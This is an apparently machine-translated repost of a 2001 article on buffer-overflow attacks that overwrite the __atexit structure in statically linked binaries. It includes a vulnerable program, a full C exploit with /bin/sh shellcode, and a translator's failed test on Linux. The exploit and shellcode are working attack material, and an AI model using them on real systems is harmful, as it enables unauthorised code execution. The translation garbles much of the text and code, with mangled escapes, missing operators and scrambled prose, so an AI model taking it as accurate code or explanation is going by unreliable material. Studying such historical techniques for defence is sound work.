[Principle] By coverage

xiaoxiao2021-03-06  21

Buffer overflow attack by overwriting __atexit

Creation time: 2001-07-19

Article attribute: translation

Article Source:

http://www.xfocus.org/

Article submission:

Alert7 (sztcww_at_sina.com)

Buffer overflow attack by overwriting __atexit

- Static compiling version of HEAP overflow

Author: Pascal Bouchareine

Original: << __ atexit in membrate bugs -

Specific Proof of Concept with statically linked binaries and Heap overflows >>

Translation finishing: alert7

Home:

http://www.xfocus.org/

Time: 2001-7-19

Translator Note: This article may come out very early, I see that there is no one in the country, just

Translate a shared sharing, if there is any mistake, welcome to correct.

Mailto: alert7@21cn.com

Introduction:

This article discusses techniques similar to the overflow attacks that override .dtors to overflow. Furnish

It is a way to change the execution process of the program so that it will eventually perform the code we want to perform. This article

Suppose readers are familiar with ordinary buffer overflow technology.

Acknowledgment:

Thank Andrew R. Reiter to see this document and correct some errors.

content:

I. basic knowledge of atExit ()

II. Execution of Atexit ()

Iii. Conceptation concept

IV. Eggshell's positioning

V. Example of an Exploit

I. Atexit () Basic knowledge

Let's take a look at the manual first:

Name

Atexit - Register a function called in EXIT times

Synopsis

#include

int

Atexit (Void (Void))

Description

The atExit () function registers a given function, which is called in the program exit.

(Whether it is via EXIT (3) or by returning from the MAIN function of the program).

The registered function is called by the reverse sequence; there is no parameter. At least 32 functions can always be registered

As long as there is a sufficiently assigned memory, more functions are also allowed.

Take a look at the basic instructions of the following procedure:

Char * glob;

Void test (void)

{

Printf ("% s", glob);

}

Void main (void)

{

Atexit (TEST);

Glob = "exiting./N";

}

When executed, "EXITING" should be displayed on the standard output.

II. Execution of Atexit ()

Atexit is exported as a libc function.

The execution process uses a static ATEXIT structure that contains those who have been exited.

An array of functions called, insert a structure when calling the ATEXIT function (we

It will be called "fns"), there is a variable in the FNS to save the next empty index (we call

It is "IND"), when FNS is full, a pointer (we call it as Next) points to the next

The ATEXIT structure used.

Struct atexit {

Struct ATEXIT * NEXT; / * Next INDEX INT IND; / * Next INDEX IN THIS TABLE * /

Void (* fns [atexit_size]) (); / * the table itself * /

}

When Atexit () is called, it fills FNS [Ind], increasing IND, then IND is the next index in the FNS.

When FNS is full, a new Atexit structure is assigned, and its NEXT variable points to the last

The one used.

Note: General Atexit is not needed, it is set to

NULL.

When exit () is called, it analyzes the final defined Atexit structure and executes in FNS [Ind].

Function, reduce IND, and execute it in turn.

When exit () is called, you need to view some exit functions, however, Atexit () needs to write it.

The ATEXIT structure is assigned as a global symbol, (on * BDS is __atexit, on Linux

Is __exit_funcs and exported to other functions.

Translator Note: If you first read this article, you may ignore Atexit () and __atexit

(On * BDS is __atexit, it is __exit_funcs on Linux.

__atexit is an internal variable used by the ATEXIT function, and there is a chart below

How to use __atexit in Atexit ().

Iii. Conceptation concept

This part is not very accurate. Need to rely on the memory image, relying on your OS, also listed many

Other factors affect.

We must first know that __atexit is allocated in memory, and it is the address that can be rewritten there. So I

Write a simple example.

Extern void * __atexit;

Int main (void)

{

Static char scbuf [128];

Char * mabuf;

MABUF = (char *) Malloc (128);

Printf ("__ atexit at% p / n", __atexit);

Printf ("MalloCed at% P / N", MABUF);

Printf ("static at% p / n", scbuf);

Return 0;

}

Compiled, have the following results:

PB @ NOD [405] $ GCC -O at at.c

PB @ NOD [406] $ ./at

__atexit AT 0x280E46A0

Malloced AT 0x804B000

Static at 0x8049660

PB @ NOD [407] $ gcc -o at -static at.c

PB @ nod [408] $ ./at

__atexit at 0x8052ea0

Malloced at 0x8055000

Static AT 0x8052E20

The above is already enough to explain the problem. Memark you already know that the dynamic compiler is through one

Mmap () call to load the libc library function. (0x280e46a0) Now it seems that we can't modify

However, static versions are possible.

In static compilation binary, libc is saved in the HEAP area of ​​the program, so the __ atexit location

Near our static scbuf. In this example, __ atexit and SCBUF differ from 0x80 bytes.

It means that they are positional continuous. If you understand the HEAP overflow, construct it should not be a difficult thing.

Construct your own Atexit structure behind the static character buffer, override __atexit variable, can make

EXIT () performs anywhere in memory. For example, perform our Eggshell. In order to construct it, I

We need to understand how atExit () uses the __atexit variable, look at the output similar to GDB:

0 127 128 132 136 140

(An Eggshell with NOPS) (INS) (FNS [0]) (FNS [1])

0x90909090 ..... 0x00000000 0x00000001 0xBffFFF870 0x00000000

For (p = __atexit; p; p = p-> Next)

For (n = p-> ind; - n> = 0;)

(* P-> FNS [N]) ();

The first method You can make 'ind' positive, such as the above map, which is 1, FNS [0]

The address of EggShell, but this constructed ATEXIT structure contains '/ 0'. I

They have no way to use.

The second method is to make P-> next point to the memory of the ATExit structure we carefully constructed.

We only need to be negative, or you can regardless of the array of FNs.

But how do we find that space?

IV. Eggshell's positioning

I have to do one or two beer for this.

Read the executation of Execue and the execution of the kernel Execve, so I remembered the first one I wrote.

C language program. We know that argc is the number of parameters, and Argv is an array ending with NULL.

(Including strings ending with NULL), ENVP is environment variable. A program being executed

It is easy to get this information.

Therefore, at the top of Stack, a "vector table" contains this information. Of course, some

Other (such as signal masks). Let's take a look at the storage of Argv on Stack:

0xBFBFFB60: 0x00000000 0x00000005 0xBFBFFC5C 0xBFBFFC84

0xBFBFFB70: 0xBFBFFC8A 0xBFBFFC8F 0xBFBFFC92 0x00000000

In this example, Argc is 5. There are 5 poutuses pointing to 5 Argv elements. The last one is the end of NULL.

I saw it so that you think of the Atexit structure? :)

The picture is perfectly depicted with the structure of the ATEXIT! IND = 5, argv [4] is the address called the function. all

Work is ready, but it is almost. We just speculate on the Vector Table on Stack

The correct address is ok, in __atexit-> next, fill in the address, in __atexit-> IND fill in the negative,

This is OK.

Guess the address of Argv [] needs to rely on your OS. I saw it /sys/kern/kern_exec.c,

Read this function:

/ *

* Copy Strings Out to the New Process Address Space, Constructing

* New arg and env Vector Tables Return a Pointer to the base

* SO That it can be used as the initial stack pointer. * /

REGISTER_T *

EXEC_COPYOUT_STRINGS (IMGP)

This function explains how to calculate the Vector Table address of Argv, your calculation based on address ps_string

(Stack's base address, LESS structure PS_String size), the size of the signal mask, "spare_userspace"

This variable is defined on my freebsd 256 (probably this variable is used by the setPROCTILE () function), and some

Other complex things.

In order to use the portable calculation method, I use the following self-calling methods to perform Argv [].

First, if you want to use a problem with a problem, you need to prepare the conditions. But can't

Special parameters call yourself. When the second call, the Argv should be properly positioned, and then again

Use problems with problems.

With these two technologies, I think you should have a high-efficiency buffer overflow method, and no longer need

Calculate OFFSET.

Translator Note: This two execve technology is very good, the address of the process of the process of EXECVE coming out is

the same. So you don't need to guess the address of Argv.

Note: For Format Bug, this technology sounds very powerful. __atexit in Exploit

It is often located at the same address of Victim. I suspect that this is because the mmap () assigned address begins with a fixed address.

As a traditional Format bug, you have the following string "AAAA% N $ x% 0xx% N", here AAAA is

In the address of the __atexit in your Exploit, n is the number of bytes you want to rewrite the address to the Stack. X is Argv []

Guess address.

[POST NOTE: In fact, these are already well known, there is mentioned in Phrack's magazine]

Similarly, you have an easy-to-fixed return address for the buffer overflow, you have a fixed return address: call yourself

--EGG should be placed in an environment variable - then call the address of Victim EGG.

V. Example of an Exploit

Take The Following Vulnerable Program:

Extern void * __atexit;

INT main (int Argc, char ** argv)

{

Static char scbuf [128];

Char * mabuf;

MABUF = (char *) Malloc (128);

Printf ("__ atexit at% p / n", __atexit);

Printf ("MalloCed at% P / N", MABUF);

Printf ("static at% p / n", scbuf);

IF (Argc> 1)

STRCPY (Scbuf, Argv [1]);

}

Scbuf [] size is 128. We need the string under the Craft:

OFFSET 0 128 132 136

[Xxxxxxxxxxxx ........] [aaaa] [bbbb] [0 ...]

128 bytes of X rubbish, AAAA is a guess ARGV address, BBBB is a negative number

(0xfffffffff) is OK), then the last byte is filled in 0.

We must pass the Eggshell as the last parameter to have a problem.

If there is a strict inspection, we will work hard. We are here

Discuss this, it will be interested in further research.

With a problem program, the following Exploit will generate a shell: --- expl.c ----------------- 8 <(lazy indenting this. :) ----- ------------

#include

#define prog "./vul"

#define heap_len 128

INT main (int Argc, char ** argv)

{

Char ** ENV;

Char ** arg;

Char Heap_buf [150];

Char eggshell [] = / * mudge's * /

"/ XEB / X35 / XC0 / X89 / X46 / XF5 / X83 / XC8 / X07 / X66 / X89 / X46 / XF9"

"/ x8d / x1e / x89 / x5e / x52 / x89 / x56 / x07 / x89 / x56 / x0f / x8d / x46"

"/ x0b / x50 / xb8 / x7b / x56 / x34 / x12 / x35 / x40 / x56 / x34 / x12 / x51"

"/ X9A / XE8 / XC6 / XFF / XFF / XFF / BIN / SH";

/ * Craft the first part of the chain, Pointing to Argv [].

** We need, of course, a NEGATIVE VALUE for Ind, or the real

** Atexit Default Will Be Called.

* /

MEMSET (Heap_buf, 'A', HEAP_LEN);

* ((int *) (Heap_BUF HEAP_LEN) = (int) argv - (2 * sizeof (int));

/ * In order to construct the ATEXIT structure * /

* ((int *) (Heap_buf Heap_Len 4)) = (int) 0xffffff;

* ((int *) (HEAP_BUF HEAP_LEN 8) = (int) 0;

/ *

** Build Environment. Argv [Argc-1] is set to whatver

** Eggshell you want. this, in a struct atexit context,

** Will be executed by exit.

* /

ENV = (char **) Malloc (sizeof (char *));

ENV [0] = 0;

Arg = (char **) malloc (sizeof (char *) * 4);

Arg [0] = (char *) malloc (strl) 1);

Arg [1] = (char *) Malloc (Strlen (Heap_buf) 1);

Arg [2] = (char *) Malloc (Strlen (Eggshell) 1);

Arg [3] = 0;

STRCPY (Arg [0], PROG);

STRCPY (Arg [1], Heap_buf);

STRCPY (Arg [2], Eggshell);

IF (argc> 1) {

FPRINTF (stderr, "using argv% x / n", argv);

Execve ("./ Vul", Arg, ENV);

} else {

Execve (Argv [0], Arg, ENV);

}

}

-------- Expl.c (EOF) ------------------------------------ ------ Author article is over, the above author is tested in FreeBSD.

Below is the test I did on Red Hat 6.0:

[Alert7 @ ww alert7] $ uname -a

Linux ww.alert7 2.2.5-15 # 1 mon Apr 19 23:00:46 EDT 1999 I686 Unknown

[Alert7 @ ww alert7] $ cat Vul.c

#include

EXTERN VOID * __EXIT_FUNCS;

INT main (int Argc, char ** argv)

{

Static char scbuf [128];

Char * mabuf;

MABUF = (char *) Malloc (128);

Printf ("__EXIT_FUNCS AT% P / N", __exit_funcs;

Printf ("MalloCed at% P / N", MABUF);

Printf ("static at% p / n", scbuf);

Printf ("Mabuf at% P / N", & Mabuf);

IF (Argc> 1)

STRCPY (Scbuf, Argv [1]);

}

[Alert7 @ ww alert7] $ gcc -o vul vul.c -static -g

[Alert7 @ ww alert7] $ ./vul

__exit_funcs AT 0x80778C0

Malloced at 0x8079b60

Static at 0x8078E40

Mabuf at 0xBffFFFDC0

[Alert7 @ WW 3779] $ CAT MAPS

08048000-08077000 r-xp 00000000 03:01 14361 / Home / Alert7 / Vul

08077000-08079000 RW-P 0002E000 03:01 14361 / Home / Alert7 / Vul

08079000-0807A000 RWXP 00000000 00:00 0

40000000-40002000 rw-p @000000 00:00 0

BFFF000-C0000000 RWXP 00000000 00:00 0

On Linux, we see the __exit_funcs address is 0x80778c0, which is writable. Static defined scbuf

The address is 0x8078E40, __ exit_funcs before scbuf, so I want to use SCBUF to overwrite

__exit_funcs address seems impossible. So discuss using __atexit on Linux

The attack of the buffer overflow is also lost.

转载请注明原文地址:https://www.9cbs.com/read-40882.html

New Post(0)